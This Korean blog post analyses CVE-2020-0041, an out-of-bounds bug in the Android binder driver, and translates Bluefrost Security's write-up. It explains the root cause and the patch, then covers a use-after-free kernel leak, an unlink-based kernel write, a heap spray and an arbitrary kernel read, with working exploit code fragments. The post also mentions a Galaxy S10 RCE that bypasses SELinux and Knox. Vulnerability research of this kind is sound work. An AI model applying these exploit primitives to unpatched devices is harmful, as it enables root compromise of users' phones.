ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • CVE-2020-0041 분석 글 번역 및 정리 (+ Samsung Galaxy S10 RCE)
    Mobile/Android 2020. 10. 26. 02:03

    AOSP 3월에 패치된 CVE-2020-0041 취약점에 대한 분석글이다.

    원문은 Bluefrost Security LPE 정리글에서 확인할 수 있다.

     

    CVE-2020-0041은 Binder Transaction 과정에서 발생하는 Out of Bound취약점이다.

    취약점이 발생하는 이유는 생각보다 간단한데, 인덱스 계산할 때 나눗셈 연산을 해야되는걸 곱셈 연산을 하면서 발생하게 된다.

     

    이게 좀 웃긴게 트랜잭션을 정리하는 과정에서는 또 나눗셈으로 제대로 계산을 해준다.

    밤새고 코딩했거나, 술 마시고 코딩했거나..ㅋㅋ

     

    또한, 취약점이 발생하는 코드가 2019년 2월쯤 Qualcomm Kernel(msm)에만 추가되었기 때문에, Qualcomm기반의 Android 10.0 이상의 버전에서만 발생되는 취약점이며, Kernel 4.14/4.9 버전에서 발생된다.

     

    Bluefrost팀은 해당 취약점으로 Chrome Escape와 LPE를 달성했는데 두 익스플로잇 과정을 아주 상세하게 정리해두어서

    취약점을 분석하는 입장에서 도움이 정말 많이 됐다.

    특히, PoC코드의 각 구문에 대한 설명을 주석으로 달아줘서 이해하는데 도움이 상당히 많이 됐다.

     

    이 글은 Bluefrost팀의 정리글을 번역함과 동시에 내가 분석했던 부분을 추가해서 정리한 글이다.

     

    Root Cause


     

    kernel/drivers/android/binder.c - binder_transaction( )

    static void binder_transaction(struct binder_proc *proc,
                       struct binder_thread *thread,
                       struct binder_transaction_data *tr, int reply,
                       binder_size_t extra_buffers_size)
    {
    
    
    /* 중략 */
    
            case BINDER_TYPE_FDA: {
                struct binder_object ptr_object;
                binder_size_t parent_offset;
                struct binder_fd_array_object *fda =
                    to_binder_fd_array_object(hdr);
    
                            /******************** 취약점 발생 ********************/
                size_t num_valid = (buffer_offset - off_start_offset) *
                            sizeof(binder_size_t);
                            /***************************************************/
                /* 패치된 코드
                size_t num_valid = (buffer_offset - off_start_offset) /
                            sizeof(binder_size_t);
                */
    
                struct binder_buffer_object *parent =
                    binder_validate_ptr(target_proc, t->buffer,
                                &ptr_object, fda->parent,
                                off_start_offset,
                                &parent_offset,
                                num_valid);
                if (!parent) {
                    binder_user_error("%d:%d got transaction with invalid parent offset or type\n",
                              proc->pid, thread->pid);
                    return_error = BR_FAILED_REPLY;
                    return_error_param = -EINVAL;
                    return_error_line = __LINE__;
                    goto err_bad_parent;
                }
                if (!binder_validate_fixup(target_proc, t->buffer,
                               off_start_offset,
                               parent_offset,
                               fda->parent_offset,
                               last_fixup_obj_off,
                               last_fixup_min_off)) {
                    binder_user_error("%d:%d got transaction with out-of-order buffer fixup\n",
                              proc->pid, thread->pid);
                    return_error = BR_FAILED_REPLY;
                    return_error_param = -EINVAL;
                    return_error_line = __LINE__;
                    goto err_bad_parent;
                }
                ret = binder_translate_fd_array(fda, parent, t, thread,
                                in_reply_to);
                if (ret < 0) {
                    return_error = BR_FAILED_REPLY;
                    return_error_param = ret;
                    return_error_line = __LINE__;
                    goto err_translate_failed;
                }
                last_fixup_obj_off = parent_offset;
                last_fixup_min_off =
                    fda->parent_offset + sizeof(u32) * fda->num_fds;
            } break;
            case BINDER_TYPE_PTR: {
                struct binder_buffer_object *bp =
                    to_binder_buffer_object(hdr);
                size_t buf_left = sg_buf_end_offset - sg_buf_offset;
                size_t num_valid;
    
                if (bp->length > buf_left) {
                    binder_user_error("%d:%d got transaction with too large buffer\n",
                              proc->pid, thread->pid);
                    return_error = BR_FAILED_REPLY;
                    return_error_param = -EINVAL;
                    return_error_line = __LINE__;
                    goto err_bad_offset;
                }
                if (binder_alloc_copy_user_to_buffer(
                            &target_proc->alloc,
                            t->buffer,
                            sg_buf_offset,
                            (const void __user *)
                                (uintptr_t)bp->buffer,
                            bp->length)) {
                    binder_user_error("%d:%d got transaction with invalid offsets ptr\n",
                              proc->pid, thread->pid);
                    return_error_param = -EFAULT;
                    return_error = BR_FAILED_REPLY;
                    return_error_line = __LINE__;
                    goto err_copy_data_failed;
                }
                /* Fixup buffer pointer to target proc address space */
                bp->buffer = (uintptr_t)
                    t->buffer->user_data + sg_buf_offset;
                sg_buf_offset += ALIGN(bp->length, sizeof(u64));
    
                            /******************** 취약점 발생 ********************/
                num_valid = (buffer_offset - off_start_offset) *
                        sizeof(binder_size_t);
    
                            /***************************/
                /* 패치된 코드
                size_t num_valid = (buffer_offset - off_start_offset) /
                            sizeof(binder_size_t);
                */
    
                ret = binder_fixup_parent(t, thread, bp,
                              off_start_offset,
                              num_valid,
                              last_fixup_obj_off,
                              last_fixup_min_off);
                if (ret < 0) {
                    return_error = BR_FAILED_REPLY;
                    return_error_param = ret;
                    return_error_line = __LINE__;
                    goto err_translate_failed;
                }
                binder_alloc_copy_to_buffer(&target_proc->alloc,
                                t->buffer, object_offset,
                                bp, sizeof(*bp));
                last_fixup_obj_off = object_offset;
                last_fixup_min_off = 0;
            } break;
    
    /* 생략 */
    }

    CVE-2020-0041 취약점은 Binder 트랜잭션 중 노드의 최대 Index값이 되는 num_valid값이 잘 못 계산되어서 발생하게 된다.

     

    size_t num_valid = (buffer_offset - off_start_offset) * sizeof(binder_size_t);

    취약점이 발생하는 구문은 위와 같다.

     

    buffer_offset이 0x10이고, off_start_offset이 0x0인 상황에서 위 구문으로 num_valid값을 계산하게 되면 다음과 같은 결과가 도출된다.

    /* buffer_offset - off_start_offset * binder_size_t = num_valid */
    (0x10 - 0x0) * 0x8 = 0x80;

    num_valid가 0x80이라는 비정상적인 값으로 계산된다.

    즉, 해당 바인더 트랜잭션에서 접근 가능한 노드의 최대 Index가 0x80이 되는 것이다.

     

    5

    이 때문에 위와 같이 OOB(Out Of Bound)취약점이 발생하게 된다.

     

    PATCHED

    size_t num_valid = (buffer_offset - off_start_offset) / sizeof(binder_size_t);

    패치된 코드를 살펴보면 *연산/ 연산으로 수정되었는데, 해당 구문으로 다시 계산해보면 다음과 같은 결과가 나온다.

     

    /* buffer_offset - off_start_offset * binder_size_t = num_valid */
    (0x10 - 0x0) / 0x8 = 0x2;

    num_valid가 0x2로 정상적인 값으로 계산된다.

     

    이 취약점만 가지고 LPE를 진행하는건 불가능하다.

    bluefrostsecurity에서는 UAF와 unlink 기법을 추가해서 root권한을 획득하였다.

     

     

     

     

    Kernel Memory Leak ( Use After Free )


    먼저 CVE-2020-0041의 근본적인 취약점 OOB(OutOfBound)UAF(Use After Free)상황을 만들 수 있다.

    binder_transaction_buffer_release() (drivers/android/binder.c)

    static void binder_transaction_buffer_release(struct binder_proc *proc,
                              struct binder_buffer *buffer,
                              binder_size_t failed_at,
                              bool is_failure)
    {
        int debug_id = buffer->debug_id;
        binder_size_t off_start_offset, buffer_offset, off_end_offset;
    
        binder_debug(BINDER_DEBUG_TRANSACTION,
                 "%d buffer release %d, size %zd-%zd, failed at %llx\n",
                 proc->pid, buffer->debug_id,
                 buffer->data_size, buffer->offsets_size,
                 (unsigned long long)failed_at);
    
        if (buffer->target_node)
           binder_dec_node(buffer->target_node, 1, 0);
    
        off_start_offset = ALIGN(buffer->data_size, sizeof(void *));
        off_end_offset = is_failure ? failed_at :
                    off_start_offset + buffer->offsets_size;
    [1]    for (buffer_offset = off_start_offset; buffer_offset < off_end_offset;
             buffer_offset += sizeof(binder_size_t)) {
            struct binder_object_header *hdr;
            size_t object_size;
            struct binder_object object;
            binder_size_t object_offset;
    
            binder_alloc_copy_from_buffer(&proc->alloc, &object_offset,
                              buffer, buffer_offset,
                              sizeof(object_offset));
            object_size = binder_get_object(proc, buffer,
                            object_offset, &object);
            if (object_size == 0) {
                pr_err("transaction release %d bad object at offset %lld, size %zd\n",
                       debug_id, (u64)object_offset, buffer->data_size);
                continue;
            }
            hdr = &object.hdr;
    [2]     switch (hdr->type) {
                case BINDER_TYPE_BINDER:
                case BINDER_TYPE_WEAK_BINDER: {
                    struct flat_binder_object *fp;
                    struct binder_node *node;
    
                    fp = to_flat_binder_object(hdr);
    [3]             node = binder_get_node(proc, fp->binder);
                    if (node == NULL) {
                        pr_err("transaction release %d bad node %016llx\n",
                               debug_id, (u64)fp->binder);
                        break;
                    }
                    binder_debug(BINDER_DEBUG_TRANSACTION,
                             "        node %d u%016llx\n",
                             node->debug_id, (u64)node->ptr);
    [4]             binder_dec_node(node, hdr->type == BINDER_TYPE_BINDER,
                            0);
                    binder_put_node(node);
                } break;

    binder_transaction_buffer_release()는 바인더 트랜잭션에 사용된 노드를 해제하는 역할을 한다.

     

    [1] 구문의 반복문을 돌면서 트랜잭션의 모든 binder_node들이 처리되고, [2]의 switch문으로 BINDER_TYPE에 따른 case에 맞게 노드들이 처리된다.

     

    노드 해제는 [4]의 binder_dec_node()에서 처리되는데, 인자로 전달되는 node는 [3]에서 binder_get_node()를 통해 가져와진다.

     

    fp->binderOOB로 수정가능한 값이기 때문에 임의의 binder_node로 바꿀 수 있게 된다.

    따라서, binder_dec_node()에 사용중인 임의의 binder_node를 넘겨줌으로써 UAF가 발생하게 된다.

     

    이렇게 트리거한 UAF취약점으로 Kernel Memory leak이 가능해지는데, 트랜잭션 과정에서 binder_node의 데이터가 유저 영역으로 저장되는 과정을 살펴볼 필요가 있다.

     

    binder_thread_read() (drivers/android/binder.c)

            struct binder_transaction_data *trd = &tr.transaction_data;
    
    ...
    
            if (t->buffer->target_node) {
                struct binder_node *target_node = t->buffer->target_node;
                struct binder_priority node_prio;
    
    [1]         trd->target.ptr = target_node->ptr;
                trd->cookie =  target_node->cookie;
                node_prio.sched_policy = target_node->sched_policy;
                node_prio.prio = target_node->min_priority;
                binder_transaction_priority(current, t, node_prio,
                                target_node->inherit_rt);
                cmd = BR_TRANSACTION;
            } else {
                trd->target.ptr = 0;
                trd->cookie = 0;
                cmd = BR_REPLY;
            }
    
    ...
    
    [2]     if (copy_to_user(ptr, &tr, trsize)) {
                if (t_from)
                    binder_thread_dec_tmpref(t_from);
    
                binder_cleanup_transaction(t, "copy_to_user failed",
                               BR_FAILED_REPLY);
    
                return -EFAULT;
            }
            ptr += trsize;

    binder_node가 트랜잭션의 target_node로 사용되면 위 코드에서 [1] 분기문으로 처리된다.

     

    유심히 봐야할 부분은 binder_nodeptrcookie필드를 binder_transaction_data오브젝트에 저장하고,[2] 분기문에서 유저영역으로 복사되는 점이다.

     

    [2] 분기문은 수신 프로세스가 트랜잭션을 읽어 들일 때 수행되게 되는데, binder_node를 트랜잭션 대기열에 등록하고 위의 OOB취약점으로 해당 노드를 해제하게 되면 노드는 dangling pointer를 가지게 될 것이다.

     

    이 상태에서 binder_node크기가 같고, 마음대로 할당/해제가 가능한 오브젝트가 있다면 해당 오브젝트로 재할당을 유도할 수 있을 것이다.

     

    위 조건을 충족하는 오브젝트로 eventpoll에서 사용되는 epitem오브젝트가 있다.

     

    먼저 binder_node의 필드 구조부터 살펴보자. 노드의 크기는 128Byte를 가진다.

    binder_node ( drivers/android/binder.c )

    struct binder_node {                        // binder_node Total Size: 128 Byte (Decimal)
        int debug_id;                            // 0 - 4 (4 Byte)
        spinlock_t lock;                        // 4 - 8 (4 Byte)
        struct binder_work work;                // 8 - 32 (24 Byte)
    
        union {                                    // 32 - 56 (24 Byte) 
                                                // union은 가장 큰 멤버의 크기로 할당됨 (24 > 16)
    
            struct rb_node rb_node;                // rb_node Total Size: 24Byte
        //    ㄴ unsigned long __rb_parent_color; // 8 byte
        //  ㄴ struct rb_node *rb_right;            // 8 byte
        //    ㄴ struct rb_node *rb_left;            // 8 byte
    
            struct hlist_node dead_node;        // hlist_node Total size: 16Byte
        //  ㄴ struct hlist_node *next;            // 8 byte
        //    ㄴ struct hlist_node **pprev;         // 8 byte
        };
    
        struct binder_proc *proc;                // 56 - 64 (8 Byte)
        struct hlist_head refs;                    // 64 - 72 (8 Byte)
    //  ㄴ struct hlist_node *first;                // 8 byte
    
        int internal_strong_refs;                // 72 - 76 (4 Byte)
        int local_weak_refs;                    // 76 - 80 (4 Byte)
        int local_strong_refs;                    // 80 - 84 (4 Byte)
        int tmp_refs;                            // 84 - 88 (4 Byte)
    
        binder_uintptr_t ptr;                    // 88 - 96  (8 Byte)  /* Point(1) */
        binder_uintptr_t cookie;                // 96 - 104 (8 Byte)  /* Point(2) */
    
        struct {                                // 104 - 105 (1 Byte)
            /*
             * bitfield elements protected by
             * proc inner_lock
             */
            u8 has_strong_ref:1;
            u8 pending_strong_ref:1;
            u8 has_weak_ref:1;
            u8 pending_weak_ref:1;
        };
        struct {                                // 105 - 107 (2 Byte)
            /*
             * invariant after initialization
             */
            u8 accept_fds:1;
            u8 txn_security_ctx:1;
            u8 min_priority;
        };
        bool has_async_transaction;                // 107 - 108 (1 Byte)
                                                // 108 - 112 (4 Byte) for align
        struct list_head async_todo;            // 112 - 128 (16 Byte)
    };

    copy_to_user()에서 복사되는 값은 ptr, cookie 두 필드의 값이며, 각 0x58(88), 0x60(96) 오프셋에 위치한다.

        binder_uintptr_t ptr;                    // 88 - 96  (8 Byte)  /* Point(1) */
        binder_uintptr_t cookie;                // 96 - 104 (8 Byte)  /* Point(2) */

     

    다음은 epitem의 구조를 살펴보자

    epitem ( fs/eventpoll.c )

    struct epitem {
        union {                // 0 - 24 (24 Byte) Union 공용체 (24Byte > 16Byte)
            struct rb_node rbn;                    // 24 Byte
        //  ㄴ unsigned long __rb_parant_color    // 8 Byte
        //  ㄴ struct rb_node *rb_right;            // 8 Byte
        //  ㄴ struct rb_node *rb_left;            // 8 Byte
    
            struct rcu_head rcu;                    // 16 Byte
        //  ㄴ struct callback_head *next;            // 8 Byte
        //  ㄴ void (*func)(struct callback_head *);// 8 Byte
        };
    
        struct list_head rdllink;    // 24 - 40 (16 Byte)
    //  ㄴ struct list_head *next;    // 8 Byte
    //  ㄴ struct list_head *prev;    // 8 Byte
    
        struct epitem *next;        // 40 - 48 (8 Byte)
    
    
        struct epoll_filefd ffd;    // 48 - 60 (12 Byte)
    //  ㄴ struct file *file;        // 8 Byte
    //    ㄴ int fd;                    // 4 Byte
    
        int nwait;                    // 60 - 64 (4 Byte)
    
        struct list_head pwqlist;    // 64 - 80 (16 Byte)
    //    ㄴ struct list_head *next;    // 8 Byte
    //    ㄴ struct list_head *prev;    // 8 Byte
    
        struct eventpoll *ep;        // 80 - 88 (8 Byte)
    
        struct list_head fllink;    // 88 - 104 (16 Byte)
    //  ㄴ struct list_head *next;    // 8 Byte /* Point(1) == binder_node->ptr */
    //  ㄴ struct list_head *prev;    // 8 Byte /* Point(2) == binder_node->cookie */
    
        struct wakeup_source __rcu *ws; // 104 - 112 (8 Byte)
    
        struct epoll_event event;    // 112 - 128 (16 Byte)
    //  ㄴ __u32 events;
    //  ㄴ __u64 data;
    };

    epitem도 128Byte의 크기를 가지며, 0x58에는 fllink->next, 0x60에는 fllink->prev가 위치한다.

     

    fllinkeventpollepitem 오브젝트를 리스트로 연결해서 관리하는데 사용되기 때문에 fllink->nextfllink->prev 두 개의 커널 메모리를 얻을 수 있게 된다.

     

    그림으로 표현하면 다음과 같이 표현할 수 있다.

    image-20200519185105134

    하나의 epitem이 할당되면 위와 같은 모습의 리스트 구조를 갖게 된다.

     

    그림에서 binder_node->ptrbinder_node->cookie와 같은 오프셋을 가지는 부분은 fllink.nextfllink.prev부분이다.

     

    리스트에 epitem이 하나만 존재하기 때문에 nextprev가 같은 포인터 값을 갖게 되므로 하나의 커널 주소를 얻을 수 있게 된다.

     

    image-20200519184931779

    두 개의 epitem이 리스트에 존재한다고 가정해보자

     

    fllink.next은 다음 epitem의 주소를 갖게 되고, fllink.prevstruct file의 주소를 갖게되므로 두 개의 커널 주소를 얻을 수 있다.

     

    다만, 이 방법으로 leak을 진행하려면 UAF를 통해 epitembinder_node위치에 재할당될 때까지 copy_to_user()가 실행되지 않도록 트랜잭션을 대기 상태로 두어야 한다.

    이 부분은 Thread를 사용해서 해결할 수 있다.

     

    각 트랜잭션 마다 Thread를 생성하고, pthread_barrier_wait()를 통해 Thread를 블록상태로 두면 트랜잭션 또한 더 이상 진행되지 않고 대기 상태로 유지된다.

     

    leak이 필요한 시점에 블록상태를 해제하면 copy_to_user()가 실행되고 우리가 원하는 데이터를 얻을 수 있게 된다.

    여기서 알아낸 커널 포인터는 Kernel Write를 구현하는데 사용된다.

     

     

     

     

    Kernel Write ( unlink )


    Kernel Write를 위해서 앞에서 봤던 binder_transaction_buffer_release()로 다시 되돌아 가야 한다.

    static void binder_transaction_buffer_release(struct binder_proc *proc,
                              struct binder_buffer *buffer,
                              binder_size_t failed_at,
                              bool is_failure)
    {
        int debug_id = buffer->debug_id;
        binder_size_t off_start_offset, buffer_offset, off_end_offset;
    
        binder_debug(BINDER_DEBUG_TRANSACTION,
                 "%d buffer release %d, size %zd-%zd, failed at %llx\n",
                 proc->pid, buffer->debug_id,
                 buffer->data_size, buffer->offsets_size,
                 (unsigned long long)failed_at);
    
    [1]    if (buffer->target_node)
            binder_dec_node(buffer->target_node, 1, 0);
    
    /* 생략 */

    [1] 조건문에서 노드가 트랜잭션의 target_node인지 확인하고, target_node일 경우 binder_dec_node()로 분기된다.

     

    static void binder_dec_node(struct binder_node *node, int strong, int internal)
    {
        bool free_node;
    
        binder_node_inner_lock(node);
        free_node = binder_dec_node_nilocked(node, strong, internal);
        binder_node_inner_unlock(node);
        if (free_node)
            binder_free_node(node);
    }

    binder_dec_node()는 노드를 블럭시키고 binder_dec_node_nilocked()로 해제 과정을 진행한다.

     

    static bool binder_dec_node_nilocked(struct binder_node *node,
                         int strong, int internal)
    {
        struct binder_proc *proc = node->proc;
    
        assert_spin_locked(&node->lock);
        if (proc)
            assert_spin_locked(&proc->inner_lock);
        if (strong) {
            if (internal)
                node->internal_strong_refs--;
            else
                node->local_strong_refs--;
            if (node->local_strong_refs || node->internal_strong_refs)
                return false;
        } else {
            if (!internal)
                node->local_weak_refs--;
            if (node->local_weak_refs || node->tmp_refs ||
                    !hlist_empty(&node->refs))
                return false;
        }
    
         if (proc && (node->has_strong_ref || node->has_weak_ref)) {
    [1]   if (list_empty(&node->work.entry)) {
                binder_enqueue_work_ilocked(&node->work, &proc->todo);
                binder_wakeup_proc_ilocked(proc);
            }
    [2] } else {
            if (hlist_empty(&node->refs) && !node->local_strong_refs &&
                !node->local_weak_refs && !node->tmp_refs) {
                if (proc) {
                    binder_dequeue_work_ilocked(&node->work);
                    rb_erase(&node->rb_node, &proc->nodes);
                    binder_debug(BINDER_DEBUG_INTERNAL_REFS,
                             "refless node %d deleted\n",
                             node->debug_id);
                } else {
    [3]             BUG_ON(!list_empty(&node->work.entry));
                    spin_lock(&binder_dead_nodes_lock);
                    /*
                     * tmp_refs could have changed so
                     * check it again
                     */
                    if (node->tmp_refs) {
                        spin_unlock(&binder_dead_nodes_lock);
                        return false;
                    }
    [4]             hlist_del(&node->dead_node);
                    spin_unlock(&binder_dead_nodes_lock);
                    binder_debug(BINDER_DEBUG_INTERNAL_REFS,
                             "dead node %d deleted\n",
                             node->debug_id);
                }
                return true;
            }
        }
        return false;
    }

    binder_dec_node_nilocked()에서 몇 가지 분기문을 지나면 hlist_del()로 실질적인 해제가 진행된다.

     

    [1]분기문에서는 list_empty()를 통해 노드가 비었는지 확인하기 때문에, [2]로 분기 시키기 위해서 노드의 데이터를 설정해주고, 다음으로 노드의 procNULL인지 확인하는데 NULL이 아니기 때문에 [3]으로 분기된다.

     

    [3]에서 list_empty()가 실행되면서 BUG_ON() 검사가 진행되는데, 이 검사를 생략하려면 node->nextnode->prevlist_head를 가리키게 해야한다.

     

    이 부분은 위에서 Kernel Memory leak을 통해 얻은 주소로 해결할 수 있다.

     

    [3]까지 우회하게 되면 [4]구문에서 우리가 쓰기 가능한 nodehlist_del()에 진입하게 된다.

     

    static inline void __hlist_del(struct hlist_node *n)
    {
        struct hlist_node *next = n->next;
        struct hlist_node **pprev = n->pprev;
    
        WRITE_ONCE(*pprev, next);
        if (next)
            next->pprev = pprev;
    }
    
    static inline void hlist_del(struct hlist_node *n)
    {
        __hlist_del(n);
        n->next = LIST_POISON1;
        n->pprev = LIST_POISON2;
    }

    hlist_del()를 보면 전형적인 unlink 수행 함수이다.

    따라서, 두 개의 쓰기 가능한 커널 주소node->nextnode->prev로 설정해서 Kernel Write를 진행할 수 있다.

    또한, node->nextNULL로 설정하면 하나의 커널 주소에 8Byte NULL를 쓸 수 있다.

     

    여기서 node->nextnode->prev를 완전히 컨트롤 하기 위해서는 HeapSpray 과정이 필요하다.

    커널영역의 HeapSpraysendmsg()시스템콜을 통해 진행할 수 있다.

     

    static int ___sys_sendmsg(struct socket *sock, struct user_msghdr __user *msg,
                 struct msghdr *msg_sys, unsigned int flags,
                 struct used_address *used_address,
                 unsigned int allowed_msghdr_flags)
    {
        struct compat_msghdr __user *msg_compat =
            (struct compat_msghdr __user *)msg;
        struct sockaddr_storage address;
        struct iovec iovstack[UIO_FASTIOV], *iov = iovstack;
        unsigned char ctl[sizeof(struct cmsghdr) + 20]
            __attribute__ ((aligned(sizeof(__kernel_size_t))));
        /* 20 is size of ipv6_pktinfo */
        unsigned char *ctl_buf = ctl;
        int ctl_len;
        ssize_t err;
    
    ...
    
            if (ctl_len > sizeof(ctl)) {
    [1]         ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);
                if (ctl_buf == NULL)
                    goto out_freeiov;
            }
            err = -EFAULT;
            /*
             * Careful! Before this, msg_sys->msg_control contains a user pointer.
             * Afterwards, it will be a kernel pointer. Thus the compiler-assisted
             * checking falls down on this.
             */
    [2]     if (copy_from_user(ctl_buf,
                       (void __user __force *)msg_sys->msg_control,
                       ctl_len))
                goto out_freectl;
            msg_sys->msg_control = ctl_buf;
        }
    
    ...
    
    
    out_freectl:
        if (ctl_buf != ctl)
    [3]    sock_kfree_s(sock->sk, ctl_buf, ctl_len);
    out_freeiov:
        kfree(iov);
        return err;
    }

    위 함수가 sendmsg()의 구현체인데, [1]을 보면 요청한 메시지의 길이가 ctl_buf보다 크면 sock_kmalloc()을 통해 커널에 힙 할당이 이루어지는 것을 볼 수 있다.

    [2]에서 copy_from_user()로 요청 메시지가 ctl_buf로 복사되고, [3]에서 할당이 해제된다.

     

    hlist_del()에서 unlink가 진행되기 전에 ctl_buf의 할당이 해제되면 안되기 때문에, copy_from_user()가 실행된 뒤의 코드 실행을 차단해야 한다.

     

    사용자가 전송한 데이터가 버퍼를 가득 채우게 되면 시스템 호출이 차단되는데, 이 방법을 통해서 sock_kfree_s()의 실행을 차단할 수 있다.

     

    HeapSpray를 통해 우리는 binder_node를 완전히 제어 가능한 형태로 재할당해 줄 수 있다.

     

     

     

     

    Kernel Read


    Kernel Read는 CVE-2019-2205과 동일한 방법을 사용하였다.

    UAF를 통해 file->f_inode를 제어 가능한 형태로 만들어 준 뒤, ioctl()를 통해 Kernel Read를 수행한다.

     

    다만, CVE-2019-2205에서는 binder_mapping을 활용하였지만 현재 버전에서는 binder_mapping이 제거되면서 더 이상 해당 방법을 통해서는 불가능해졌다.

     

    여기에서는 file->f_inodeepitem을 가리키도록 해서 binder_mapping을 대체하였다.

    epitem에는 우리가 완전히 제어 가능한 epitem.data필드가 존재한다.

    epitem.data는 8Byte의 크기를 가지며, ep_ctl(efd, EPOLL_CTL_MOD, fd &event)를 통해 수정할 수 있다.

     

    do_vfs_ioctl ( fs/ioctl.c )

    int do_vfs_ioctl(struct file *filp, unsigned int fd, unsigned int cmd,
             unsigned long arg)
    {
        int error = 0;
        int __user *argp = (int __user *)arg;
        struct inode *inode = file_inode(filp);
    
        switch (cmd) {
    
    ...
    
        case FIGETBSZ:
            return put_user(inode->i_sb->s_blocksize, argp); /* Point */
    
    ...

    따라서, event.data값을 inode->i_sb->s_blocksize로 정렬하면 원하는 커널주소의 값을 읽을 수 있게 된다.

    이 과정을 그림으로 다음과 같이 표현할 수 있다.

     

    image-20200521110423546

    먼저 Kernel Writeepitem->nextfile->f_inode를 가리키도록 한다.

     

    그런 다음 f_inodeepitem을 가리키도록 하는데, inode->i_sbepitem.data와 정렬되도록 오프셋을 잘 계산해서 주소를 덮어써준다.

    여기까지 진행하면 inode->i_sbepitem.data를 가리키게 된다.

     

    이제 epitem.dataKernel_Addr - s_blocksize(24)값을 써주면, 우리가 원하는 커널 주소의 값을 읽어올 수 있게된다.

     

    uint64_t read32(uint64_t addr) {
       struct epoll_event evt;
       evt.events = 0;
       evt.data.u64 = addr - 24;
       int err = epoll_ctl(file->ep_fd, EPOLL_CTL_MOD, pipes[0], &evt);
       uint32_t test = 0xdeadbeef;
       ioctl(pipes[0], FIGETBSZ, &test);
       return test;
    }
    
    uint64_t read64(uint64_t addr) {
       uint32_t lo = read32(addr);
       uint32_t hi = read32(addr+4);
    
       return (((uint64_t)hi) << 32) | lo;
    }

    위에서 설명한 방법으로 Kernel Read를 구현한 모습이다.

     

    evt.data.u64Kernel_Addr - 24(s_blocksize) 값을 저장하고 ioctl()로 값을 읽어온다.

    ioctl()은 4Byte만 읽어올 수 있기 때문에, 8Byte를 읽기 위해서는 값을 두 번 읽어줘야 한다.

     

    전체적인 과정의 코드는 다음과 같다.

     

    /* Step 1: leak a pipe file address */
    
    file = node_new("leak_file");
    
    /* Only works on file implementing the 'epoll' function. */
    while (!node_realloc_epitem(file, pipes[0]))
       node_reset(file);
    
    uint64_t file_addr = file->file_addr;
    log_info("[+] pipe file: 0x%lx\n", file_addr);
    
    
    /* Step 2: leak epitem address */
    struct exp_node *epitem_node = node_new("epitem");
    while (!node_kaddr_disclose(file, epitem_node))
       node_reset(epitem_node);
    
    printf("[*] file epitem at %lx\n", file->kaddr);
    
    /*
     * Alright, now we want to do a write8 to set file->f_inode.
     * Given the unlink primitive, we'll set file->f_inode = epitem + 80
     * and epitem + 88 = &file->f_inode.
     *
     * With this we can change f_inode->i_sb by modifying the epitem data,
     * and get an arbitrary read through ioctl.
     *
     * This is corrupting the fllink, so we better don't touch anything there!
     */
    
    struct exp_node *write8_inode = node_new("write8_inode");
    node_write8(write8_inode, file->kaddr + 120 - 40 , file_addr + 0x20);
    
    printf("[*] Write done, should have arbitrary read now.\n");
    uint64_t fop = read64(file_addr + 0x28);
    printf("[+] file operations: %lx\n", fop);
    
    kernel_base = fop - OFFSET_PIPE_FOP;
    printf("[+] kernel base: %lx\n", kernel_base);
    

    이로써, Kernel Write, Kernel Read가 가능해졌다.

    이제부터는 Read/Write를 적절히 활용해서 익스플로잇을 진행하면 된다.

     


    Samsung S10 RCE (SELinux + Know Bypass)

     

     

    CVE-2020-0041 1day를 이용한 Samsung Galaxy S10 RCE 영상입니다.

    SELinux와 Knox를 우회하는 과정에서 제약사항들이 좀 있어서 익스플로잇 시간이 좀 기네요.

    댓글

Designed by Tistory.